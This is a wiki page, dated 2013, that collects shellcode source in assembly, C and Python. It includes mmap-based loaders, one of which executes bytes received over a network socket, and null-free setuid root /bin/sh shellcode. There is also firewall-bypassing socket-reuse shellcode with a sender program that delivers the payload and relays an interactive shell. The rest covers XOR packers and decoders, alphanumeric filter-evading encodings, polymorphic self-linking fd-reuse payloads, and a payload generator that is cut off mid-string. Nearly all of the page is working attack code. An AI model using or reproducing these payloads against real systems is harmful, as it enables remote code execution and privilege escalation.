−	if (send(sock, buf, strlen(buf), MSG_NOSIGNAL) < 0)	+
−	error("Error: write(): ");	+
−		+
−	if (recv(sock, inbuf, 1024, 0) < 0)	+
−	error("Error: read(): ");	+
−		+
−	printf("%s", inbuf);	+
−		+
−	bzero(inbuf, 1024);	+
−	bzero(buf, 1024);	+
−	}	+
−	return 0;	+
−	}	+
−	</source>}}	+
−	== ./environment/getpc-64.s ==	+
−	{{code|text=<source lang="asm"># 12 - bytes	+
−		+
−	jmp startup	+
−	getpc:	+
−	mov (%rsp), %rax	+
−	ret	+
−	startup:	+
−	call getpc      # the %rax register now contains %rip on the next line	+
−	</source>	+
−	== ./environment/getpc-32.s ==	+
−	{{code|text=<source lang="asm"># 11 bytes	+
−	jmp startup	+
−	getpc:	+
−	mov (%esp), %eax	+
−	ret	+
−	startup:	+
−	call getpc      # the %eax register now contains %eip on the next line	+
	</source>}}		</source>}}

---

Latest revision as of 19:07, 25 May 2013

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Special thanks to hatter and jtripper for their contributions to this article.

Loaders

Documentation: shellcode loaders

See also: environmental documentation, environmental shellcode

loader-64.s

Description: 64-bit mmap-based executable shellcode loader (returns to shellcode)

# 79 bytes   .section .data .section .text .globl _start   _start: pop %rbx # argc pop %rbx # arg0 pop %rbx # arg1 pointer   push $0x9 pop %rax   xor %rdi, %rdi push %rdi pop %rsi inc %rsi shl $0x12, %rsi push $0x7 pop %rdx push $0x22 pop %r10   push %rdi push %rdi pop %r8 pop %r9   syscall # The syscall for the mmap().   inject: xor %rsi, %rsi push %rsi pop %rdi   inject_loop: cmpb %dil, (%rbx, %rsi, 1) je inject_finished movb (%rbx, %rsi, 1), %r10b movb %r10b, (%rax,%rsi,1) inc %rsi jmp inject_loop   ret_to_shellcode: push %rax ret   inject_finished: inc %rsi movb $0xc3, (%rax, %rsi, 1) call ret_to_shellcode   exit: push $60 pop %rax xor %rdi, %rdi syscall

loader-32.s

Description: 32-bit mmap-based executable shellcode loader (returns to shellcode)

# 66 bytes   .section .data   .section .text   .global _start   _start: pop %edi pop %edi pop %edi #get arg1 pointer (shellcode)   push $90 pop %eax #mmap() syscall number   xor %ebx, %ebx push %ebx push %ebx #args 5/6 (null)   push $0x22 #arg 4 push $0x7 #arg 5   push %ebx pop %ecx inc %ecx shl $0x12, %ecx push %ecx #arg2 (0x1000)   push %ebx #arg1 (null)   mov %esp, %ebx #move pointer to args to ebx for mmap() int $0x80     inject: xor %esi, %esi push %esi pop %edx #zero out esi and edx   inject_loop: cmpb %dl, (%edi, %esi, 1) je inject_finished movb (%edi, %esi, 1), %cl movb %cl, (%eax, %esi, 1) inc %esi jmp inject_loop #places shellcode into mmap() memory   ret_to_shellcode: push %eax #pushes mmap memory address and returns to it ret   inject_finished: inc %esi movb $0xc3, (%eax, %esi, 1) #adds ret to the code code so that loader can exit call ret_to_shellcode   exit: xor %eax, %eax mov %eax, %ebx inc %eax int $0x80 #exit

dynamic-loader.c

Description: Dynamically linked mmap-based executable shellcode loader (contains GOT)

#include <stdio.h> #include <sys/mman.h> #include <string.h>   int main(int argc, char *argv[]) { int (*fp)(); void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); memcpy(mem, argv[1], strlen(argv[1])); fp = (int(*)())mem; (int)(*fp)(); }

socket-loader.c

Description: Dynamically linked mmap and socket based executable shellcode loader (contains GOT)

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h>   void error(const char *msg) { perror(msg); exit(1); }   void execute(char *buffer) { void (*mem)() = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); memcpy(mem, buffer, strlen(buffer)); (*mem)(); }   int main(int argc, char *argv[]) { char buffer[1024]; int serverfd, clientfd; socklen_t client_len; struct sockaddr_in server_addr, client_addr; client_len = sizeof(client_addr);   if (argc != 2) { printf("Usage: %s <port>\n", argv[0]); exit(1); }   server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(atoi(argv[1]));   if((serverfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) error(" [!] opening socket");   if (bind(serverfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) error(" [!] bind()");   if (listen(serverfd, 0) < 0) error(" [!] listen()");   if ((clientfd = accept(serverfd, (struct sockaddr *)&client_addr, &client_len)) < 0) error(" [!] accept()");   printf(" [*] Received %d bytes, executing.\n", read(clientfd,buffer,1024)); execute(buffer);   printf(" [*] Closing sockets.\n"); close(clientfd); close(serverfd); return 0; }

Null-free

Documentation: null-free shellcode

write-file-32.s

Description: Null-free file writing shellcode

# 90 bytes _start:   xorl %ecx, %ecx xorl %edx, %edx #use xor to zero out the registers (removed some not required)   push $0x05 #push 0x05 (single byte to remove the null padding used in longs) pop %eax #pop that value into eax push $0x6c #push part of the file destination as a byte to remove padding pushl $0x6f6c2f70 pushl $0x6f746b73 pushl $0x65442f74 pushl $0x6f6f722f movl %esp, %ebx #move out stack pointer xorw $0x0641, %cx #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641) xorw $0x01b6, %dx #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6) #by using this method of xoring out the nullbytes code size can be reduced as well #as remove the null bytes int $0x80 #execute open()   movl %eax, %ebx #move the file handle into ebx for write() push $0x04 #push 0x04 pop %eax #pop it into eax for use in write() pushl $0x6c6f6c6a #push part of the null terminated hex string onto the stack pop %ecx #pop it into ecx for modification shr $0x08, %ecx #shift it to the right by 0x08 to put the nullbyte back into the string without #having it directly in the code pushl %ecx #push the modified string back onto the stack pushl $0x20736920 pushl $0x73696874 movl %esp, %ecx #move the stack pointer to ecx push $0xb #push the size of the stack in hex pop %edx #pop it back into the proper register pushl %ebx #push the file descriptor onto the stack for the next function int $0x80 #write the file   pop %ebx #get the file descriptor back push $0x06 #push 0x06 to the stack pop %eax #pop it into eax for close() int $0x80 #close the file   push $0x01 #push exit() onto the stack pop %eax #and put it in the register push $0x05 #push the return value of 5 pop %ebx #and put it in ebx int $0x80 #and exit

setuid_binsh.s

Description: null-free setuid(0); execve('/bin/sh') shellcode

# 32 bytes .text .globl _start _start: xor %rdi,%rdi pushq $0x69 pop %rax syscall   push %rdi push %rdi pop %rsi pop %rdx pushq $0x68 movabs $0x7361622f6e69622f,%rax push %rax push %rsp pop %rdi pushq $0x3b pop %rax syscall

Environment

Documentation: environment

getpc-64.s

Description: 64-bit getpc

# 12 - bytes   jmp startup getpc: mov (%rsp), %rax ret startup: call getpc # the %rax register now contains %rip on the next line

getpc-64-alt.s

Description: Alternative 64-bit getpc method

# 10 bytes   jmp startup pc: nop startup: lea -1(%rip), %rax # the %rax register now contains the address of `pc'.

getpc-32.s

Description: 32-bit getpc

# 11 bytes jmp startup getpc: mov (%esp), %eax ret startup: call getpc # the %eax register now contains %eip on the next line

int3-detect-64.s

Description: Breakpoint detection shellcode

# 24 bytes   .text .global _start _start:   jmp startup   go_retro: pop %rcx inc %rcx jmp *%rcx   startup: call go_retro   volatile_segment: push $0x3458686a push $0x0975c084 nop

lastcall-32.s

Description: 32-bit last call example

# 4 bytes   mov -0x4(%esp), %eax

lastcall-64.s

Description: 64-bit last call example

# 5 bytes   mov -0x8(%rsp), %rax

lastcall-alphanum.s

Description: Alphanumeric last call example

# 13 bytes   .text .global _start _start: pop %rax push %rsp # move pointer to %rsp into %rax pop %rax xor $0x65,%al # subtract 0x10 from %rax xor $0x75,%al xor %rsi,(%rax) xor (%rax),%rsi # move address to last instruction into %rax

Socket-reuse

Documentation: socket reuse documentation

socket-reuse.s

Description: socket reusing shellcode to bypass firewalls

# 117 bytes .section .data .section .text .globl _start _start: jmp start   exit: push $0x3c pop %rax syscall   start: push $0x02 pop %rdi   make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi   loop: inc %edi test %di, %di # loop until 65535 then exit je exit   stack_fix: lea 0x14(%rdx), %rsp   get_peer_name: sub $0x20, %rsp push $0x34 pop %rax syscall   check_pn_success: test %al, %al jne loop   # If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %rcx mov $0xfeffff80, %ebx not %ebx cmpl %ebx, (%rsp,%rcx,4) jne loop   check_port: movb $0x35, %cl mov $0x2dfb, %bx not %bx cmpw %bx,(%rsp, %rcx ,2) # (%rbp,%rsi,2) jne loop   reuse: push %rax pop %rsi   dup_loop: # redirect stdin, stdout, stderr to socket push $0x21 pop %rax syscall inc %esi cmp $0x4, %esi jne dup_loop   execve: pop %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' push $0x3b pop %rax # set %rax to function # for execve() syscall # execve('/bin/sh',null,null);

socket-reuse-send.c

Description: sends socket reuse shellcode

#include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h>   // source: 127.0.0.1:1234 char shellcode[] = { "\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6" "\x02\x10\x48\x8d\x72\x04\xff\xc7\x66\x85\xff\x74\xe5\x48\x8d\x62" "\x14\x48\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xe8\x6a\x1b" "\x59\xbb\x80\xff\xff\xfe\xf7\xd3\x39\x1c\x8c\x75\xd9\xb1\x35\x66" "\xbb\xfb\x2d\x66\xf7\xd3\x66\x39\x1c\x4c\x75\xca\x50\x5e\x6a\x21" "\x58\x0f\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48" "\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f" "\x6a\x3b\x58\x0f\x05" };   void error(char *err) { perror(err); exit(0); }   int main(int argc, char *argv[]) { struct sockaddr_in server_addr, bind_addr; struct hostent* server, *_bind; char buf[1024], inbuf[1024]; int sock;   _bind = gethostbyname(argv[3]); bind_addr.sin_family = AF_INET; bind_addr.sin_port = htons(atoi(argv[4])); memcpy(&bind_addr.sin_addr.s_addr, _bind->h_addr, _bind->h_length);   server = gethostbyname(argv[1]); server_addr.sin_family = AF_INET; memcpy(&server_addr.sin_addr.s_addr, server->h_addr, server->h_length); server_addr.sin_port = htons(atoi(argv[2]));   if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) error(" [!] socket()");   if (bind(sock, (struct sockaddr *)&bind_addr, sizeof(bind_addr)) < 0) error(" [!] bind()");   printf(" [*] Connecting to %s\n", argv[1]); if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) error(" [*] connect()");   printf(" [*] Sending payload\n"); if (send(sock, shellcode, strlen(shellcode), MSG_NOSIGNAL) < 0) error(" [!] write()");   while(fgets(buf, 1024, stdin) != NULL) { if (send(sock, buf, strlen(buf), MSG_NOSIGNAL) < 0) error(" [!] write(): "); if (recv(sock, inbuf, 1024, 0) < 0) error(" [!] read(): "); printf("%s", inbuf); memset(inbuf, 0, 1024); memset(buf, 0, 1024); }   return 0; }

Self-modifying

Documentation: self-modifying code

See also: environmental documentation, environmental shellcode, shellcode loading documentation, shellcode loaders

packer.s

Description: Shellcode packer

# 55 bytes .section .data .section .text .globl _start   _start: pop %rbx # argc pop %rbx # arg0 pop %rbx # arg1 pointer   xor %rsi, %rsi push $0x34 pop %rdi   count_chars: cmpb %dil, (%rbx, %rsi, 1) int3 je write xor $0x16, (%rbx, %rsi, 1) inc %rsi jmp count_chars   write: mov $0x1, %rax mov $0x1, %rdi mov %rsi, %rdx mov %rbx, %rsi syscall   exit: push $60 pop %rax xor %rdi, %rdi syscall

decoder-no-mmap.s

Description: Unpacker without mmap

# 69 bytes jmp start   inject: pop %rdi # return value   xor %rsi, %rsi push %rsi pop %rdi   inject_loop: cmpb $0x17, (%rbx, %rsi, 1) je inject_finished movb (%rbx, %rsi, 1), %r10b xor $0x16, %r10b movb %r10b, (%rbx, %rsi, 1) inc %rsi jmp inject_loop   inject_finished: inc %rsi movb $0xc3, (%rbx, %rsi, 1) push %rdi push %rbx ret   getpc: mov (%rsp),%rbx ret   start: call getpc add $0xe,%rbx   push %rbx call inject   exit: push $0x3c pop %rax xor %rdi, %rdi syscall

decoder.s

Description: Shellcode unpacker using mmap

# 102 bytes jmp start   inject: pop %rdi pop %rcx pop %rax   xor %rsi, %rsi push %rsi pop %rdi   inject_loop: cmpb $0x20, (%rax, %rsi, 1) je inject_finished movb (%rax, %rsi, 1), %r10b xor $0x3, %r10b movb %r10b, (%rcx, %rsi, 1) inc %rsi jmp inject_loop   inject_finished: inc %rsi movb $0xc3, (%rcx, %rsi, 1) push %rdi push %rcx ret   getpc: mov (%rsp),%rbx ret   start: call getpc add $0x31,%rbx   push $0x9 pop %rax xor %rdi, %rdi push %rdi pop %rsi inc %rsi shl $0x12, %rsi push $0x7 pop %rdx push $0x22 pop %r10 push %rdi push %rdi pop %r8 pop %r9   syscall # The syscall for the mmap().   push %rax push %rbx call inject   exit: push $60 pop %rax xor %rdi, %rdi syscall

packer-32.s

Description: 32-bit shellcode packer

# 37 bytes .section .data   .section .text   .global _start   _start: pop %ecx pop %ecx pop %ecx #arg1 pointer   xor %ebx, %ebx push %ebx pop %edx #zero out ebx and edx   count_chars: cmpb %dl, (%ecx, %ebx, 1) je write xor $0x3, (%ecx, %ebx, 1) inc %ebx jmp count_chars #counts characters and xor encode them   write: push $4 pop %eax mov %ebx, %edx push $2 pop %ebx int $0x80 #writes encoded chars to stdout   exit: xor %eax, %eax mov %eax, %ebx inc %eax int $0x80 #exits

decoder-32.s

Description: 32-bit shellcode decoder

# 89 bytes .section .data   .section .text   .global _start   _start: jmp start   inject: pop %ecx #pop the return address pop %ebx #pop the encoded shellcode start address pop %eax #pop the mmaped memory address   xor %edx, %edx push %edx pop %ecx #zero out edx and ecx (which holds the return address)   inject_loop: cmpb $0x20, (%ebx, %edx, 1) je inject_finished movb (%ebx, %edx, 1), %cl xor $0x3, %cl movb %cl, (%eax, %edx, 1) inc %edx jmp inject_loop   inject_finished: inc %edx movb $0xc3, (%eax, %edx, 1) push %ecx push %eax ret     getpc: mov (%esp), %eax ret   start: call getpc #find ourself on stack mov %eax, %edx add $0x2a, %edx #add decoder length to find shell beginging   push $90 pop %eax #mmap() syscall   xor %ebx, %ebx push %ebx push %ebx #arg 5/6   push $0x22 #arg 4 push $0x7 #arg 3   push %ebx pop %ecx inc %ecx shl $0x12, %ecx push %ecx #arg2 0x1000   push %ebx #arg 1   mov %esp, %ebx int $0x80   push %eax #push mmap pointer push %edx #push our shellcode begining   call inject   exit: xor %eax, %eax mov %eax, %ebx inc %eax int $0x80

Alphanumeric

Documentation: alphanumeric shellcode

See also: environmental documentation, environmental shellcode

architecture_detection

Description: Alphanumeric architecture detection shellcode

 TX4HPZTAZAYVH92

binsh.s

Description: Alphanumeric /bin/sh shellcode

Assembled x64 XTX4e4uH10H30VYhJG00X1AdTYXHcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394cEB00

# 104 bytes .text .global _start _start: pop %rax push %rsp pop %rax xor $0x65,%al xor $0x75,%al xor %rsi, (%rax) # mov emulated into rsi xor (%rax), %rsi push %rsi pop %rcx pushq $0x3030474a pop %rax xor %eax,0x64(%rcx) push %rsp pop %rcx pop %rax movslq 0x30(%rcx),%rsi xor %esi,0x30(%rcx) movslq 0x34(%rcx),%rsi xor %esi,0x34(%rcx) movslq 0x30(%rcx),%rdi movslq 0x30(%rcx),%rsi push %rdi pop %rdx pushq $0x5a58555a pop %rax xor $0x34313775,%eax xor %eax,0x30(%rcx) pushq $0x6a51475a pop %rax xor $0x6a393475,%eax xor %eax,0x34(%rcx) xor 0x30(%rcx),%rdi pop %rax push %rdi pushq $0x58 movslq (%rcx),%rdi xor (%rcx),%rdi pop %rax push %rsp xor (%rcx),%rdi xor $0x63,%al rex.RB rex.X xor %sil,(%rax)

Parsing

Documentation: ELF parsing shellcode

elf64-parser.s

Description: ELF64 symbol parser

# 188 bytes .section .data .section .text   .globl _start   _start: jmp startup   strlen: xor %rdx, %rdx   next_byte: inc %rdx cmpb $0x00, (%rsi,%rdx,1); jne next_byte ret   getpc: mov (%rsp), %rax ret   startup: xor %r15, %r15 push $0x0a0a0a mov %rsp, %r15 call getpc dec %rax xor %rcx, %rcx push $0x2 pop %rsi   find_header: cmpl $0x464c457f, (%rax,%rcx,4) # Did we find our ELF base pointer? je find_sections dec %rax jmp find_header   find_sections: # %rax now = base pointer of ELF image. xor %rbx, %rbx add $0x28, %bl xorl (%rax,%rbx,1), %ecx # %rcx = offset to section headers addq %rax, %rcx # %rcx = absolute address to section headers   # each section header is 0x40 bytes in length. next_section: xor %rbx, %rbx xor %rbp, %rbp add $0x40, %rcx # %rcx now = address to first entry add $0x04, %bl xor (%rcx,%rbx,1), %ebp # %rbp now contains type cmp $0x02, %bpl jne next_section   found_symbols: xor %r8, %r8 mov %rcx, %r8 # %rcx = pointer to top of symbol section header add $0x40, %r8 # %r8 = pointer to top of string table section header   xor %rbx, %rbx xor $0x18, %bl # pointer to actual section is $0x18 bytes from header base   xor %r9, %r9 xor %r10, %r10 xor (%rcx,%rbx,1), %r9 xor (%r8,%rbx,1), %r10 addq %rax, %r9 # r9 should now point to the first symbol addq %rax, %r10 # r10 should now point to the first string addq $0x18, %r9   next_symbol: addq $0x18,%r9 xor %rcx, %rcx xor %rbp, %rbp xor %rdi, %rdi xor (%r9,%rcx,1), %ebp # %rbp now contains string offset. cmp %rbp, %rdi je next_symbol   print_symbol_name: mov %rbp, %rsi addq %r10, %rsi # %rsi should now be a pointer to a string push $0x01 pop %rax push %rax pop %rdi call strlen syscall   push $0x01 pop %rax push %rax pop %rdi push $0x02 pop %rdx push %r15 pop %rsi syscall jmp next_symbol

Dynamic

Documentation: dynamic shellcode

See also: environmental documentation, environmental shellcode, self-modifying documentation, self-modifying shellcode

poly-linker-fd-reuse.s

Description: Polymorphic self-linking file descriptor reuse shellcode

# 268 bytes   .section .data .section .text .global _start   _start: push $0x400130ff pop %rbx shr $0x8, %ebx   fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx   extract_pointer: mov 0x20(%rcx), %rbx   find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base   jmp startup   __initialize_world: pop %rcx jmp _world     # at this point, the base pointer of libc is in %rbx startup: call __initialize_world   ################ # # Takes a function hash in %rbp and base pointer in %rbx # >Parses the dynamic section headers of the ELF64 image # >Uses ROP to invoke the function on the way back to the # -normal return location # # Returns results of function to invoke. # invoke_function: push %rbp push %rbp push %rdx xor %rdx, %rdx push %rdi push %rax push %rbx push %rsi push %rbp pop %rdi   read_dynamic_section: push %rbx pop %rbp   push $0x4c pop %rax add (%rbx, %rax, 4), %rbx   check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type   string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table.   check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi   calc_hash: push %rax push %rdx   initialize_regs: push %rdx pop %rax cld   calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop   calc_done: push %rdx pop %rsi   pop %rdx pop %rax   cmp %esi, %edi   jne check_next_hash   found_hash: add 0x8(%rbx,%rdx,4), %rbp mov %rbp, 0x30(%rsp) pop %rsi pop %rbx pop %rax pop %rdi pop %rdx pop %rbp ret   exit: push $0x696c4780 pop %rbp xor %rdi, %rdi call *%rcx   _world: movl $0xf8cc01f7, %ebp # getpeername() is in %rbp push $0x02 pop %rdi   make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi   loop: inc %di jz exit   stack_fix: lea 0x14(%rdx), %rsp   get_peer_name: sub $0x20, %rsp push %rcx call *%rcx pop %rcx   check_pn_success: test %al, %al jne loop   # If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %r8 mov $0xfeffff80, %eax cmpl %eax, (%rsp,%r8,4) jne loop   check_port: movb $0x35, %r8b mov $0x2dfb, %ax cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2) jne loop   push $0x70672750 pop %rbp   reuse: xor %rdx, %rdx push %rdx push %rdx pop %rsi   dup_loop: # redirect stdin, stdout, stderr to socket push %rcx call *%rcx pop %rcx inc %esi cmp $0x4, %esi jne dup_loop   movl $0xf66bbb37, %ebp   xor %rdi, %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0'   call *%rcx

linker-fd-reuse.s

Description: Self-linking file descriptor reuse shellcode

# 268 bytes .section .data .section .text .global _start   _start: push $0x400130ff pop %rbx shr $0x8, %ebx   fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx   extract_pointer: mov 0x20(%rcx), %rbx   find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base   jmp startup   __initialize_world: pop %rcx jmp _world     # at this point, the base pointer of libc is in %rbx startup: call __initialize_world   ################ # # Takes a function hash in %rbp and base pointer in %rbx # >Parses the dynamic section headers of the ELF64 image # >Uses ROP to invoke the function on the way back to the # -normal return location # # Returns results of function to invoke. # invoke_function: push %rbp push %rbp push %rdx xor %rdx, %rdx push %rdi push %rax push %rbx push %rsi push %rbp pop %rdi   read_dynamic_section: push %rbx pop %rbp   push $0x4c pop %rax add (%rbx, %rax, 4), %rbx   check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type   string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table.   check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi   calc_hash: push %rax push %rdx   initialize_regs: push %rdx pop %rax cld   calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop   calc_done: push %rdx pop %rsi   pop %rdx pop %rax   cmp %esi, %edi   jne check_next_hash   found_hash: add 0x8(%rbx,%rdx,4), %rbp mov %rbp, 0x30(%rsp) pop %rsi pop %rbx pop %rax pop %rdi pop %rdx pop %rbp ret   exit: push $0x696c4780 pop %rbp xor %rdi, %rdi call *%rcx   _world: movl $0xf8cc01f7, %ebp # getpeername() is in %rbp push $0x02 pop %rdi   make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi   loop: inc %di jz exit   stack_fix: lea 0x14(%rdx), %rsp   get_peer_name: sub $0x20, %rsp push %rcx call *%rcx pop %rcx   check_pn_success: test %al, %al jne loop   # If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %r8 mov $0xfeffff80, %eax not %eax cmpl %eax, (%rsp,%r8,4) jne loop   check_port: movb $0x35, %r8b mov $0x2dfb, %ax not %eax cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2) jne loop   push $0x70672750 pop %rbp   reuse: xor %rdx, %rdx push %rdx push %rdx pop %rsi   dup_loop: # redirect stdin, stdout, stderr to socket push %rcx call *%rcx pop %rcx inc %esi cmp $0x4, %esi jne dup_loop   movl $0xf66bbb37, %ebp   pop %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0'   call *%rcx

linked-exit.s

Description: Self-linking exit shellcode

# 135 bytes   .section .data .section .text .global _start   _start: push $0x400130ff pop %rbx shr $0x8, %ebx   fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx   extract_pointer: mov 0x20(%rcx), %rbx   find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base   jmp startup   __initialize_world: pop %rcx jmp _world     # at this point, the base pointer of libc is in %rbx startup: call __initialize_world   ################ # # Takes a function hash in %rbp and base pointer in %rbx # >Parses the dynamic section headers of the ELF64 image # >Uses ROP to invoke the function on the way back to the # -normal return location # # Returns results of function to invoke. # invoke_function: push %rbp push %rbp push %rdx xor %rdx, %rdx push %rdi push %rax push %rbx push %rsi push %rbp pop %rdi   read_dynamic_section: push %rbx pop %rbp   push $0x4c pop %rax add (%rbx, %rax, 4), %rbx   check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type   string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table.   check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi   calc_hash: push %rax push %rdx   initialize_regs: push %rdx pop %rax cld   calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop   calc_done: push %rdx pop %rsi   pop %rdx pop %rax   cmp %esi, %edi   jne check_next_hash   found_hash: add 0x8(%rbx,%rdx,4), %rbp mov %rbp, 0x30(%rsp) pop %rsi pop %rbx pop %rax pop %rdi pop %rdx pop %rbp ret   _world: push $0x696c4780 pop %rbp xor %rdi, %rdi call *%rcx

Generators

See also: socket-reuse documentation, socket-reuse shellcode, self-modifying documentation, self-modifying shellcode, dynamic documentation, dynamic shellcode

socket-reuse-generator.py

Description: Socket-reuse shellcode generator

#!/usr/bin/python2.7 import re, sys, socket, struct   if len(sys.argv) < 3: print("Usage: " + sys.argv[0] + " <source IP> <source port> [dynamic]") exit()   standard_shellcode = \ "\\xeb\\x05\\x6a\\x3c\\x58\\x0f\\x05\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6" \ "\\x02\\x10\\x48\\x8d\\x72\\x04\\xff\\xc7\\x66\\x85\\xff\\x74\\xe5\\x48\\x8d\\x62" \ "\\x14\\x48\\x83\\xec\\x20\\x6a\\x34\\x58\\x0f\\x05\\x84\\xc0\\x75\\xe8\\x6a\\x1b" \ "\\x59\\xbb%s\\xf7\\xd3\\x39\\x1c\\x8c\\x75\\xd9\\xb1\\x35\\x66\\xbb%s\\x66\\xf7" \ "\\xd3\\x66\\x39\\x1c\\x4c\\x75\\xca\\x50\\x5e\\x6a\\x21\\x58\\x0f\\x05\\xff\\xc6" \ "\\x83\\xfe\\x04\\x75\\xf4\\x5f\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69" \ "\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05"   dynamic_shellcode = \ "\\x68\\xff\\x30\\x01\\x40\\x5b\\xc1\\xeb\\x08\\x48\\x8b\\x0b\\x48\\x03\\x4b\\x10" \ "\\x48\\x8b\\x59\\x20\\x48\\xff\\xcb\\x81\\x3b\\x7f\\x45\\x4c\\x46\\x75\\xf5\\xeb" \ "\\x03\\x59\\xeb\\x6a\\xe8\\xf8\\xff\\xff\\xff\\x55\\x55\\x52\\x48\\x31\\xd2\\x57" \ "\\x50\\x53\\x56\\x55\\x5f\\x53\\x5d\\x6a\\x4c\\x58\\x48\\x03\\x1c\\x83\\x48\\x83" \ "\\xc3\\x10\\x80\\x3b\\x05\\x75\\xf7\\x48\\x8b\\x43\\x08\\x48\\x8b\\x5b\\x18\\x48" \ "\\x83\\xc3\\x18\\x52\\x5e\\x66\\x33\\x33\\x48\\x01\\xc6\\x50\\x52\\x52\\x58\\xfc" \ "\\xac\\xc1\\xc2\\x0c\\x01\\xc2\\x84\\xc0\\x75\\xf6\\x52\\x5e\\x5a\\x58\\x39\\xf7" \ "\\x75\\xdd\\x48\\x03\\x6c\\x93\\x08\\x48\\x89\\x6c\\x24\\x30\\x5e\\x5b\\x58\\x5f" \ "\\x5a\\x5d\\xc3\\x68\\x80\\x47\\x6c\\x69\\x5d\\x48\\x31\\xff\\xff\\xd1\\xbd\\xf7" \ "\\x01\\xcc\\xf8\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6\\x02\\x10\\x48\\x8d" \ "\\x72\\x04\\x66\\xff\\xc7\\x74\\xdc\\x48\\x8d\\x62\\x14\\x48\\x83\\xec\\x20\\x51" \ "\\xff\\xd1\\x59\\x84\\xc0\\x75\\xeb\\x6a\\x1b\\x41\\x58\\xb8%s\\xf7\\xd0\\x42" \ "\\x39\\x04\\x84\\x75\\xda\\x41\\xb0\\x35\\x66\\xb8%s\\xf7\\xd0\\x66\\x42\\x39" \ "\\x04\\x44\\x75\\xca\\x68\\x50\\x27\\x67\\x70\\x5d\\x48\\x31\\xd2\\x52\\x52\\x5e" \ "\\x51\\xff\\xd1\\x59\\xff\\xc6\\x83\\xfe\\x04\\x75\\xf5\\xbd\\x37\\xbb\\x6b\\xf6" \ "\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69\\x6e\\x2f\\x73" \ 